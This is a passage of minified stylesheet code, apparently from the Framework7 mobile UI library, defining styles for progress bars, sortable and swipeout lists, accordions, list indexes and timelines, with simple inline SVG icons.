md-progressbar-infinite-multicolor-fill{0%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#f44336}24.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#f44336}25%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#2196f3}49.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#2196f3}50%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#ffeb3b}74.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#ffeb3b}75%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#4caf50}100%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#4caf50}}@keyframes md-progressbar-infinite-multicolor-fill{0%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#f44336}24.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#f44336}25%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#2196f3}49.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#2196f3}50%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#ffeb3b}74.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#ffeb3b}75%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#4caf50}100%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#4caf50}}.sortable .sortable-handler{position:absolute;top:0;bottom:1px;z-index:10;background-repeat:no-repeat;background-size:18px 12px;opacity:0;pointer-events:none;cursor:move;-webkit-transition-duration:.3s;transition-duration:.3s;left:0;background-position:0 50%}.sortable .item-inner{-webkit-transition-duration:.3s;transition-duration:.3s}.sortable li.sorting{z-index:50;background:rgba(255,255,255,.8);-webkit-transition-duration:0s;transition-duration:0s}.sortable li.sorting .item-inner:after{display:none!important}.sortable-sorting li{-webkit-transition-duration:.3s;transition-duration:.3s}.sortable-enabled .sortable-handler{pointer-events:auto;opacity:1;background-position:50% 50%}.sortable-enabled .item-link .item-inner,.sortable-enabled .item-link .item-title-row{background-image:none!important}.sortable.theme-dark li.sorting,.theme-dark .sortable li.sorting{background-color:rgba(50,50,50,.8)}.md .sortable-handler{width:50px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%208'%3E%3Crect%20x%3D'0'%20y%3D'0'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3Crect%20x%3D'0'%20y%3D'6'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3C%2Fsvg%3E")}.md .sortable li.sorting{-webkit-box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23);box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23)}.md .sortable-enabled .item-inner,.md .sortable-enabled .item-link .item-inner{padding-left:50px}.md .list.sortable-enabled .item-link.no-chevron .item-inner,.md .list.sortable-enabled .no-chevron .item-link .item-inner,.md .list.sortable-enabled.no-chevron .item-link .item-inner,.md .no-chevron .list.sortable-enabled .item-link .item-inner{padding-left:50px}@media (orientation:landscape){.md.device-iphone-x .ios-edges .sortable-handler,.md.device-iphone-x .ios-left-edge .sortable-handler,.md.device-iphone-x .panel-left .sortable-handler,.md.device-iphone-x .popup .sortable-handler,.md.device-iphone-x .sheet-modal .sortable-handler{left:constant(safe-area-inset-left);left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner{padding-left:calc(42px + constant(safe-area-inset-right));padding-left:calc(42px + env(safe-area-inset-right))}}.swipeout{overflow:hidden;-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.swipeout-deleting{-webkit-transition-duration:.3s;transition-duration:.3s}.swipeout-deleting .swipeout-content{-webkit-transform:translateX(-100%);transform:translateX(-100%)}.swipeout-transitioning .swipeout-actions-left a,.swipeout-transitioning .swipeout-actions-right a,.swipeout-transitioning .swipeout-content,.swipeout-transitioning .swipeout-overswipe{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:left,-webkit-transform;transition-property:left,-webkit-transform;transition-property:transform,left;transition-property:transform,left,-webkit-transform}.swipeout-content{position:relative;z-index:10}.swipeout-overswipe{-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:left;transition-property:left}.swipeout-actions-left,.swipeout-actions-right{position:absolute;top:0;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;direction:ltr}.swipeout-actions-left>a,.swipeout-actions-left>button,.swipeout-actions-left>div,.swipeout-actions-left>span,.swipeout-actions-right>a,.swipeout-actions-right>button,.swipeout-actions-right>div,.swipeout-actions-right>span{color:#fff;background:#c7c7cc;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;position:relative;left:0}.swipeout-actions-left>a:after,.swipeout-actions-left>button:after,.swipeout-actions-left>div:after,.swipeout-actions-left>span:after,.swipeout-actions-right>a:after,.swipeout-actions-right>button:after,.swipeout-actions-right>div:after,.swipeout-actions-right>span:after{content:'';position:absolute;top:0;width:600%;height:100%;background:inherit;z-index:-1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.swipeout-actions-right{right:0;-webkit-transform:translateX(100%);transform:translateX(100%)}.swipeout-actions-right>a:after,.swipeout-actions-right>button:after,.swipeout-actions-right>div:after,.swipeout-actions-right>span:after{left:100%;margin-left:-1px}.swipeout-actions-left{left:0;-webkit-transform:translateX(-100%);transform:translateX(-100%)}.swipeout-actions-left>a:after,.swipeout-actions-left>button:after,.swipeout-actions-left>div:after,.swipeout-actions-left>span:after{right:100%;margin-right:-1px}.md .swipeout-actions-left>a,.md .swipeout-actions-left>button,.md .swipeout-actions-left>div,.md .swipeout-actions-left>span,.md .swipeout-actions-right>a,.md .swipeout-actions-right>button,.md .swipeout-actions-right>div,.md .swipeout-actions-right>span{padding:0 24px;color:#fff}.md .swipeout-actions-left .swipeout-delete,.md .swipeout-actions-right .swipeout-delete{background:#f44336}.md .swipeout-actions-left>a.color-red,.md .swipeout-actions-left>button.color-red,.md .swipeout-actions-left>div.color-red,.md .swipeout-actions-left>span.color-red,.md .swipeout-actions-right>a.color-red,.md .swipeout-actions-right>button.color-red,.md .swipeout-actions-right>div.color-red,.md .swipeout-actions-right>span.color-red{background-color:#f44336}.md .swipeout-actions-left>a.color-green,.md .swipeout-actions-left>button.color-green,.md .swipeout-actions-left>div.color-green,.md .swipeout-actions-left>span.color-green,.md .swipeout-actions-right>a.color-green,.md .swipeout-actions-right>button.color-green,.md .swipeout-actions-right>div.color-green,.md .swipeout-actions-right>span.color-green{background-color:#4caf50}.md .swipeout-actions-left>a.color-blue,.md .swipeout-actions-left>button.color-blue,.md .swipeout-actions-left>div.color-blue,.md .swipeout-actions-left>span.color-blue,.md .swipeout-actions-right>a.color-blue,.md .swipeout-actions-right>button.color-blue,.md .swipeout-actions-right>div.color-blue,.md .swipeout-actions-right>span.color-blue{background-color:#2196f3}.md .swipeout-actions-left>a.color-pink,.md .swipeout-actions-left>button.color-pink,.md .swipeout-actions-left>div.color-pink,.md .swipeout-actions-left>span.color-pink,.md .swipeout-actions-right>a.color-pink,.md .swipeout-actions-right>button.color-pink,.md .swipeout-actions-right>div.color-pink,.md .swipeout-actions-right>span.color-pink{background-color:#e91e63}.md .swipeout-actions-left>a.color-yellow,.md .swipeout-actions-left>button.color-yellow,.md .swipeout-actions-left>div.color-yellow,.md .swipeout-actions-left>span.color-yellow,.md .swipeout-actions-right>a.color-yellow,.md .swipeout-actions-right>button.color-yellow,.md .swipeout-actions-right>div.color-yellow,.md .swipeout-actions-right>span.color-yellow{background-color:#ffeb3b}.md .swipeout-actions-left>a.color-orange,.md .swipeout-actions-left>button.color-orange,.md .swipeout-actions-left>div.color-orange,.md .swipeout-actions-left>span.color-orange,.md .swipeout-actions-right>a.color-orange,.md .swipeout-actions-right>button.color-orange,.md .swipeout-actions-right>div.color-orange,.md .swipeout-actions-right>span.color-orange{background-color:#ff9800}.md .swipeout-actions-left>a.color-gray,.md .swipeout-actions-left>button.color-gray,.md .swipeout-actions-left>div.color-gray,.md .swipeout-actions-left>span.color-gray,.md .swipeout-actions-right>a.color-gray,.md .swipeout-actions-right>button.color-gray,.md .swipeout-actions-right>div.color-gray,.md .swipeout-actions-right>span.color-gray{background-color:#9e9e9e}.md .swipeout-actions-left>a.color-white,.md .swipeout-actions-left>button.color-white,.md .swipeout-actions-left>div.color-white,.md .swipeout-actions-left>span.color-white,.md .swipeout-actions-right>a.color-white,.md .swipeout-actions-right>button.color-white,.md .swipeout-actions-right>div.color-white,.md .swipeout-actions-right>span.color-white{background-color:#fff}.md .swipeout-actions-left>a.color-black,.md .swipeout-actions-left>button.color-black,.md .swipeout-actions-left>div.color-black,.md .swipeout-actions-left>span.color-black,.md .swipeout-actions-right>a.color-black,.md .swipeout-actions-right>button.color-black,.md .swipeout-actions-right>div.color-black,.md .swipeout-actions-right>span.color-black{background-color:#000}.accordion-item-toggle{cursor:pointer;-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-toggle.active-state{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-toggle.active-state>.item-inner:after{background-color:transparent}.accordion-item-toggle .item-inner{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color}.accordion-item-toggle .item-inner:after{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item .item-link .item-inner:after{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item .block,.accordion-item .list{margin-top:0;margin-bottom:0}.accordion-item .block>h1:first-child,.accordion-item .block>h2:first-child,.accordion-item .block>h3:first-child,.accordion-item .block>h4:first-child,.accordion-item .block>p:first-child{margin-top:10px}.accordion-item .block>h1:last-child,.accordion-item .block>h2:last-child,.accordion-item .block>h3:last-child,.accordion-item .block>h4:last-child,.accordion-item .block>p:last-child{margin-bottom:10px}.accordion-item-opened .accordion-item-toggle .item-inner:after,.accordion-item-opened>.item-link .item-inner:after{background-color:transparent}.list li.accordion-item ul{padding-right:0}.accordion-item-content{position:relative;overflow:hidden;height:0;font-size:14px;-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-opened>.accordion-item-content{height:auto}html.device-android-4 .accordion-item-content{-webkit-transform:none;transform:none}.md .list .accordion-item-toggle .item-inner{padding-left:42px;background-repeat:no-repeat;background-position:16px center}.md .list .accordion-item-toggle.active-state{background-color:rgba(0,0,0,.1)}.md .accordion-item.media-item .accordion-item-toggle .item-title-row,.md .accordion-item.media-item>.item-link .item-title-row,.md .links-list .accordion-item>a,.md .list .accordion-item-toggle .item-inner,.md .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner,.md .list:not(.media-list) .accordion-item:not(.media-item)>.item-link .item-inner,.md .media-list .accordion-item .accordion-item-toggle .item-title-row,.md .media-list .accordion-item>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E");background-size:13px 13px}.md .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.md .accordion-item-opened.media-item>.item-link .item-title-row,.md .links-list .accordion-item-opened>a,.md .list .accordion-item-toggle.accordion-item-opened .item-inner,.md .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.md .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.md .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.md .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.md .theme-dark .accordion-item.media-item .accordion-item-toggle .item-title-row,.md .theme-dark .accordion-item.media-item>.item-link .item-title-row,.md .theme-dark .links-list .accordion-item>a,.md .theme-dark .list .accordion-item-toggle .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item)>.item-link .item-inner,.md .theme-dark .media-list .accordion-item .accordion-item-toggle .item-title-row,.md .theme-dark .media-list .accordion-item>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.md .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.md .theme-dark .accordion-item-opened.media-item>.item-link .item-title-row,.md .theme-dark .links-list .accordion-item-opened>a,.md .theme-dark .list .accordion-item-toggle.accordion-item-opened .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.md .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.md .theme-dark .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.contacts-list .list-group:first-child ul:before{display:none!important}.contacts-list .list-group:last-child ul:after{display:none!important}.md .contacts-list{margin:0}.md .contacts-list .list-group-title{padding:0 16px;pointer-events:none;background:0 0;color:#2196f3;font-weight:500;line-height:48px;height:48px;font-size:20px;overflow:visible;width:56px}.md .contacts-list .list-group-title+li{margin-top:-48px}.md .contacts-list li:not(.list-group-title){padding-right:56px}.md .theme-dark .contacts-list .list-group-title{color:#fff}.list-index{position:absolute;top:0;bottom:0;right:0;text-align:center;z-index:10;width:16px;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.list-index:before{content:'';position:absolute;width:20px;top:0;right:100%;height:100%}.list-index ul{font-size:11px;font-weight:600;list-style:none;margin:0;padding:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;height:100%;width:100%;position:relative}.list-index li{margin:0;padding:0;list-style:none;position:relative;height:14px;line-height:14px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:block;width:100%}.list-index .list-index-skip-placeholder:after{content:'';position:absolute;left:50%;top:50%;border-radius:50%}.list-index .list-index-label{position:absolute;bottom:0;right:100%;text-align:center;border-radius:50%;color:#fff;font-weight:500}.md .list-index ul{color:#2196f3}.md .list-index .list-index-skip-placeholder:after{content:'';width:4px;height:4px;margin-left:-2px;margin-top:-2px;background:#2196f3}.md .list-index .list-index-label{width:56px;height:56px;line-height:56px;border-radius:50% 50% 0 50%;background:#2196f3;font-size:20px}.md .navbar~.list-index{top:56px}@media (min-width:768px){.md .navbar~.list-index{top:64px}}.md .navbar~.subnavbar~.list-index,.md .navbar~.toolbar:not(.toolbar-bottom-md)~.list-index,.md .page-with-subnavbar .navbar~.list-index{top:104px}.md .navbar~.tabbar-labels:not(.toolbar-bottom-md)~.list-index{top:128px}.md .toolbar-bottom-md~* .page>.list-index,.md .toolbar-bottom-md~.page>.list-index{bottom:48px}.md .tabbar-labels.toolbar-bottom-md~* .page>.list-index,.md .tabbar-labels.toolbar-bottom-md~.list-index,.md .tabbar-labels.toolbar-bottom-md~.page>.list-index{bottom:56px}.md.device-iphone-x .toolbar-bottom-md~* .page>.list-index,.md.device-iphone-x .toolbar-bottom-md~.page>.list-index{bottom:calc(48px + constant(safe-area-inset-bottom));bottom:calc(48px + env(safe-area-inset-bottom))}.md.device-iphone-x .tabbar-labels.toolbar-bottom-md~* .page>.list-index,.md.device-iphone-x .tabbar-labels.toolbar-bottom-md~.list-index,.md.device-iphone-x .tabbar-labels.toolbar-bottom-md~.page>.list-index{bottom:calc(56px + constant(safe-area-inset-bottom));bottom:calc(56px + env(safe-area-inset-bottom))}.md .color-theme-red .list-index ul,.md .list-index.color-theme-red ul{color:#f44336}.md .color-theme-red .list-index .list-index-label,.md .color-theme-red .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-red .list-index-label,.md .list-index.color-theme-red .list-index-skip-placeholder:after{background-color:#f44336}.md .color-theme-green .list-index ul,.md .list-index.color-theme-green ul{color:#4caf50}.md .color-theme-green .list-index .list-index-label,.md .color-theme-green .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-green .list-index-label,.md .list-index.color-theme-green .list-index-skip-placeholder:after{background-color:#4caf50}.md .color-theme-blue .list-index ul,.md .list-index.color-theme-blue ul{color:#2196f3}.md .color-theme-blue .list-index .list-index-label,.md .color-theme-blue .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-blue .list-index-label,.md .list-index.color-theme-blue .list-index-skip-placeholder:after{background-color:#2196f3}.md .color-theme-pink .list-index ul,.md .list-index.color-theme-pink ul{color:#e91e63}.md .color-theme-pink .list-index .list-index-label,.md .color-theme-pink .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-pink .list-index-label,.md .list-index.color-theme-pink .list-index-skip-placeholder:after{background-color:#e91e63}.md .color-theme-yellow .list-index ul,.md .list-index.color-theme-yellow ul{color:#ffeb3b}.md .color-theme-yellow .list-index .list-index-label,.md .color-theme-yellow .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-yellow .list-index-label,.md .list-index.color-theme-yellow .list-index-skip-placeholder:after{background-color:#ffeb3b}.md .color-theme-orange .list-index ul,.md .list-index.color-theme-orange ul{color:#ff9800}.md .color-theme-orange .list-index .list-index-label,.md .color-theme-orange .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-orange .list-index-label,.md .list-index.color-theme-orange .list-index-skip-placeholder:after{background-color:#ff9800}.md .color-theme-gray .list-index ul,.md .list-index.color-theme-gray ul{color:#9e9e9e}.md .color-theme-gray .list-index .list-index-label,.md .color-theme-gray .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-gray .list-index-label,.md .list-index.color-theme-gray .list-index-skip-placeholder:after{background-color:#9e9e9e}.md .color-theme-white .list-index ul,.md .list-index.color-theme-white ul{color:#fff}.md .color-theme-white .list-index .list-index-label,.md .color-theme-white .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-white .list-index-label,.md .list-index.color-theme-white .list-index-skip-placeholder:after{background-color:#fff}.md .color-theme-black .list-index ul,.md .list-index.color-theme-black ul{color:#000}.md .color-theme-black .list-index .list-index-label,.md .color-theme-black .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-black .list-index-label,.md .list-index.color-theme-black .list-index-skip-placeholder:after{background-color:#000}.md .list-index.color-red ul{color:#f44336}.md .list-index.color-red .list-index-label,.md .list-index.color-red .list-index-skip-placeholder:after{background-color:#f44336}.md .list-index.color-green ul{color:#4caf50}.md .list-index.color-green .list-index-label,.md .list-index.color-green .list-index-skip-placeholder:after{background-color:#4caf50}.md .list-index.color-blue ul{color:#2196f3}.md .list-index.color-blue .list-index-label,.md .list-index.color-blue .list-index-skip-placeholder:after{background-color:#2196f3}.md .list-index.color-pink ul{color:#e91e63}.md .list-index.color-pink .list-index-label,.md .list-index.color-pink .list-index-skip-placeholder:after{background-color:#e91e63}.md .list-index.color-yellow ul{color:#ffeb3b}.md .list-index.color-yellow .list-index-label,.md .list-index.color-yellow .list-index-skip-placeholder:after{background-color:#ffeb3b}.md .list-index.color-orange ul{color:#ff9800}.md .list-index.color-orange .list-index-label,.md .list-index.color-orange .list-index-skip-placeholder:after{background-color:#ff9800}.md .list-index.color-gray ul{color:#9e9e9e}.md .list-index.color-gray .list-index-label,.md .list-index.color-gray .list-index-skip-placeholder:after{background-color:#9e9e9e}.md .list-index.color-white ul{color:#fff}.md .list-index.color-white .list-index-label,.md .list-index.color-white .list-index-skip-placeholder:after{background-color:#fff}.md .list-index.color-black ul{color:#000}.md .list-index.color-black .list-index-label,.md .list-index.color-black .list-index-skip-placeholder:after{background-color:#000}.timeline{-webkit-box-sizing:border-box;box-sizing:border-box}.block-strong .timeline{padding:0;margin:0}.timeline-item{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative}.timeline-item-date{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;width:50px;text-align:right;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-item-date small{font-size:10px}.timeline-item-content{margin:2px;min-width:0;position:relative;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.timeline-item-content h1:first-child,.timeline-item-content h2:first-child,.timeline-item-content h3:first-child,.timeline-item-content h4:first-child,.timeline-item-content ol:first-child,.timeline-item-content p:first-child,.timeline-item-content ul:first-child{margin-top:0}.timeline-item-content h1:last-child,.timeline-item-content h2:last-child,.timeline-item-content h3:last-child,.timeline-item-content h4:last-child,.timeline-item-content ol:last-child,.timeline-item-content p:last-child,.timeline-item-content ul:last-child{margin-bottom:0}.timeline-item-inner{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-item-inner .block{padding:0;color:inherit}.timeline-item-inner .block-strong{padding-left:0;padding-right:0;margin:0}.timeline-item-inner .block-strong:before{display:none!important}.timeline-item-inner .block-strong:after{display:none!important}.timeline-item-inner .list ul:before{display:none!important}.timeline-item-inner .list ul:after{display:none!important}.timeline-item-divider{width:1px;position:relative;width:10px;height:10px;background:#bbb;border-radius:50%;margin-top:3px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.timeline-item-divider:after,.timeline-item-divider:before{content:' ';width:1px;height:100vh;position:absolute;left:50%;background:inherit;-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}.timeline-item-divider:after{top:100%}.timeline-item-divider:before{bottom:100%}.timeline-item:last-child .timeline-item-divider:after{display:none}.timeline-item:first-child .timeline-item-divider:before{display:none}.timeline-item-time{font-size:13px}.timeline-item-time:first-child,.timeline-item-time:last-child{margin-top:0}.timeline-item-title+.timeline-item-time{margin-top:0}.timeline-horizontal{height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.timeline-horizontal .timeline-item{display:block;width:33.33333333vw;margin:0;padding:0;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;position:relative;height:100%}.timeline-horizontal .timeline-item-date{width:auto;text-align:left;line-height:34px;position:absolute;left:0;top:0;width:100%;height:34px;text-align:right}.timeline-horizontal .timeline-item-content{overflow:auto;-webkit-overflow-scrolling:touch;margin:0}.timeline-horizontal .timeline-item-divider{display:none}.timeline-horizontal.col-100 .timeline-item{width:100vw}.timeline-horizontal.col-95 .timeline-item{width:95vw}.timeline-horizontal.col-90 .timeline-item{width:90vw}.timeline-horizontal.col-85 .timeline-item{width:85vw}.timeline-horizontal.col-80 .timeline-item{width:80vw}.timeline-horizontal.col-75 .timeline-item{width:75vw}.timeline-horizontal.col-70 .timeline-item{width:70vw}.timeline-horizontal.col-66 .timeline-item{width:66.66666666666666vw}.timeline-horizontal.col-65 .timeline-item{width:65vw}.timeline-horizontal.col-60 .timeline-item{width:60vw}.timeline-horizontal.col-55 .timeline-item{width:55vw}.timeline-horizontal.col-50 .timeline-item{width:50vw}.timeline-horizontal.col-45 .timeline-item{width:45vw}.timeline-horizontal.col-40 .timeline-item{width:40vw}.timeline-horizontal.col-35 .timeline-item{width:35vw}.timeline-horizontal.col-33 .timeline-item{width:33.333333333333336vw}.timeline-horizontal.col-30 .timeline-item{width:30vw}.timeline-horizontal.col-25 .timeline-item{width:25vw}.timeline-horizontal.col-20 .timeline-item{width:20vw}.timeline-horizontal.col-15 .timeline-item{width:15vw}.timeline-horizontal.col-10 .timeline-item{width:10vw}.timeline-horizontal.col-5 .timeline-item{width:5vw}@media (min-width:768px){.timeline-horizontal.tablet-100 .timeline-item{width:100vw}.timeline-horizontal.tablet-95 .timeline-item{width:95vw}.timeline-horizontal.tablet-90 .timeline-item{width:90vw}.timeline-horizontal.tablet-85 .timeline-item{width:85vw}.timeline-horizontal.tablet-80 .timeline-item{width:80vw}.timeline-horizontal.tablet-75 .timeline-item{width:75vw}.timeline-horizontal.tablet-70 .timeline-item{width:70vw}.timeline-horizontal.tablet-66 .timeline-item{width:66.66666666666666vw}.timeline-horizontal.tablet-65 .timeline-item{width:65vw}.timeline-horizontal.tablet-60 .timeline-item{width:60vw}.timeline-horizontal.tablet-55 .timeline-item{width:55vw}.timeline-horizontal.tablet-50 .timeline-item{width:50vw}.timeline-horizontal.tablet-45 .timeline-item{width:45vw}.timeline-horizontal.tablet-40 .timeline-item{width:40vw}.timeline-horizontal.tablet-35 .timeline-item{width:35vw}.timeline-horizontal.tablet-33 .timeline-item{width:33.333333333333336vw}.timeline-horizontal.tablet-30 .timeline-item{width:30vw}.timeline-horizontal.tablet-25 .timeline-item{width:25vw}.timeline-horizontal.tablet-20 .timeline-item{width:20vw}.timeline-horizontal.tablet-15 .timeline-item{width:15vw}.timeline-horizontal.tablet-10 .timeline-item{width:10vw}.timeline-horizontal.tablet-5 .timeline-item{width:5vw}}.timeline-horizontal .timeline-month,.timeline-horizontal .timeline-year{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;padding-top:24px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;height:100%}.timeline-horizontal .timeline-month-title,.timeline-horizontal .timeline-year-title{position:absolute;left:0;top:0;width:100%;line-height:24px;height:24px;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-horizontal .timeline-month-title span,.timeline-horizontal .timeline-year-title span{display:inline-block;position:-webkit-sticky;position:sticky}.timeline-horizontal .timeline-year-title{font-size:16px}.timeline-horizontal .timeline-month-title span{margin-top:-2px}.md .timeline{margin:32px 0;padding:0 16px}.md .block-strong .timeline{padding:0;margin:0}.md .timeline-item{padding:2px 0 16px}.md .timeline-item:last-child{padding-bottom:2px}.md .timeline-item-content .block,.md .timeline-item-content .card,.md .timeline-item-content .list,.md .timeline-item-content.block,.md .timeline-item-content.card,.md .timeline-item-content.list{margin:0;width:100%}.md .timeline-item-content .block+.block,.md .timeline-item-content .block+.card,.md .timeline-item-content .block+.list,.md .timeline-item-content .card+.block,.md .timeline-item-content .card+.card,.md .timeline-item-content .card+.list,.md .timeline-item-content .list+.block,.md .timeline-item-content .list+.card,.md .timeline-item-content .list+.list{margin:16px 0 0}.md 